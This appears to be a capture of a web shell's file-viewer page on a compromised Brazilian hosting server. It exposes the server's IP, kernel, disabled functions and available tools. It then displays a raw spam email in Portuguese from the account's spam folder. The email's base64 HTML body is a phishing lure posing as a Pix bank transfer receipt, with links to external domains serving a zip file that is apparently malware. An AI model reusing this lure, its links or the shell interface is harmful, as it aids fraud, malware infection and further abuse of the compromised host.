| Server IP : 162.214.74.102 / Your IP : 216.73.216.252 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/lrsys/././mail/.spam/new/ |
Upload File : |
Return-Path: <root@wse24.mediaprorh.com>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
by dedi-4363141.lrsys.com.br with LMTP
id iHAiF6Tv0GAKeQAAIWsJAg
(envelope-from <root@wse24.mediaprorh.com>)
for <lrsys+spam@dedi-4363141.lrsys.com.br>; Mon, 21 Jun 2021 16:59:32 -0300
Return-path: <root@wse24.mediaprorh.com>
Envelope-to: financeiro@lrsys.com.br
Delivery-date: Mon, 21 Jun 2021 16:59:32 -0300
Received: from wse24.mediaprorh.com ([5.188.35.199]:38071)
by dedi-4363141.lrsys.com.br with esmtp (Exim 4.94.2)
(envelope-from <root@wse24.mediaprorh.com>)
id 1lvQ4t-00083G-FN
for financeiro@lrsys.com.br; Mon, 21 Jun 2021 16:59:32 -0300
Received: by wse24.mediaprorh.com (Postfix, from userid 0)
id 99C91B8891; Mon, 21 Jun 2021 17:08:50 +0000 (UTC)
MIME-Version: 1.0
Content-type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64
From: Documentos Recebidos<pix@transacao-pix-enviado.com>
To: financeiro@lrsys.com.br
Message-Id: <20210621172906.99C91B8891@wse24.mediaprorh.com>
Date: Mon, 21 Jun 2021 17:08:50 +0000 (UTC)
X-Spam-Status: Yes, score=13.7
X-Spam-Score: 137
X-Spam-Bar: +++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: pix Prezado (a), comprovante da realização de um Pix Recebido
Content analysis details: (13.7 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: 5215478941142021.zip]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[5.188.35.199 listed in psbl.surriel.com]
1.0 BAYES_999 BODY: Bayes spam probability is 99.9 to 100%
[score: 1.0000]
5.0 BAYES_99 BODY: Bayes spam probability is 99 to 100%
[score: 1.0000]
1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,
https://senderscore.org/blocklistlookup/
[5.188.35.199 listed in bl.score.senderscore.com]
0.9 DKIM_ADSP_NXDOMAIN No valid author signature and domain not in
DNS
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.1 URI_HEX URI: URI hostname has long hexadecimal sequence
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
0.8 CPANEL_LOTS_OF_EMPTY_LINE RAW: Spam that has large block of
empty lines
1.0 KAM_LAZY_DOMAIN_SECURITY Sending domain does not have any
anti-forgery methods
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
X-Spam-Flag: YES
Subject: ***SPAM*** Fwd: Comprovante de transação bancária Nº3874629303
PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFs
Ly9FTiI+DQoKPGh0bWw+DQoKPGhlYWQ+DQoKDQoKDQoKDQoKDQoKDQoKDQoKDQoKICANCgogIA0K
CiAgDQoKICANCgogIA0KCiAgDQoKICA8bWV0YSBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9
SVNPLTg4NTktMSIgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIj4NCgoNCgoNCgoNCgoNCgoNCgoN
CgogIA0KCiAgDQoKICANCgogIA0KCiAgDQoKICANCgogIDx0aXRsZT5waXg8L3RpdGxlPg0KCjwv
aGVhZD4NCgoNCgoNCgo8Ym9keT4NCgoNCgoNCgoNCgoNCgoNCgoNCgoNCgo8cCBzdHlsZT0iZm9u
dC1mYW1pbHk6IEFyaWFsIFVuaWNvZGUgTVM7Ij5QcmV6YWRvIChhKSwmbmJzcDs8c3BhbiBzdHls
ZT0iZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiByZ2IoMjU1LCAwLCAwKTsiPjwvc3Bhbj48L3A+
DQoKDQoKDQoKDQoKDQoKDQoKDQoKDQoKPHAgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCBVbmlj
b2RlIE1TOyI+Y29tcHJvdmFudGUgZGENCgpyZWFsaXphJmNjZWRpbDsmYXRpbGRlO28gZGUgdW0g
UGl4IFJlY2ViaWRvPGJyPg0KCg0KCg0KCg0KCg0KCg0KCg0KCg0KCjxicj4NCgoNCgoNCgoNCgoN
CgoNCgoNCgoNCgpBbyBjb25jbHVpciB1bWEgdHJhbnNhJmNjZWRpbDsmYXRpbGRlO28sIHVtIGNv
bXByb3ZhbnRlDQoKJmVhY3V0ZTsgZ2VyYWRvIHRhbnRvIHBhcmEgbyBwYWdhZG9yIHF1YW50byBw
YXJhIG8gcmVjZWJlZG9yLjxicj4NCgoNCgoNCgoNCgoNCgoNCgoNCgoNCgpjb21wcm92YW50ZSBu
Jm9yZG07IC0gPGEgdGFyZ2V0PSJfYmxhbmsiIC8vaHJlZj0iaHR0cDovL3d3dy5maW5hbmNpYWxy
aC5jb20vdXJiYW5ldD9DU1ZKMjJLVDkyNzNBOTFaWTZJMEFTUDhaQUY5Mi9hdmlzb2RlaXJyZWd1
bGFyaWRhZGUvaXJwZjIwMjAvVmlzdWFsaXphckV4dHJhdG8wODowOTowNiI+NTIxNTQ3ODk0MTE0
MjAyMTwvYT48L3A+DQoKDQoKDQoKDQoKDQoKDQoKDQoKDQoKPHAgc3R5bGU9ImZvbnQtZmFtaWx5
OiBBcmlhbCBVbmljb2RlIE1TOyI+PGEgcmVsPSJub3JlZmVycmVyIiBvbmNsaWNrPSIiIHhocmVm
PSIiIGh0dHA6Ly93d3cubmF0dXJhbGpvaWFzLmNvbS9jZ2F0ZWRwP3l4cmxibXJwYnd2dWRnOWF6
dGp6enhqMmF3bnZjeTVqYjIwdXluaW49IiI+PHN0cm9uZz5BTkVYTzo8L3N0cm9uZz4mbmJzcDs8
L2E+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly9hc2Vzb3JpYWdpbG9qZWRhcmguY29t
L2FzaXRvcmg/Q1NWSjIyS1Q5MjczQTkxWlk2STBBU1A4WkFGOTIvYXZpc29kZWlycmVndWxhcmlk
YWRlL2lycGYyMDIwL1Zpc3VhbGl6YXJFeHRyYXRvMDg6MDk6MDYiPkNvbXByb3ZhbnRlDQoKTiZv
cmRtOyA1MjE1NDc4OTQxMTQyMDIxLnppcDwvYT48L3A+DQoKDQoKDQoKDQoKDQoKDQoKDQoKDQoK
PHAgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCBVbmljb2RlIE1TOyI+PGJyPg0KCg0KCg0KCg0K
Cg0KCg0KCg0KCg0KCjwvcD4NCgoNCgoNCgoNCgoNCgoNCgoNCgoNCgo8L2JvZHk+DQoKPC9odG1s
Pg0K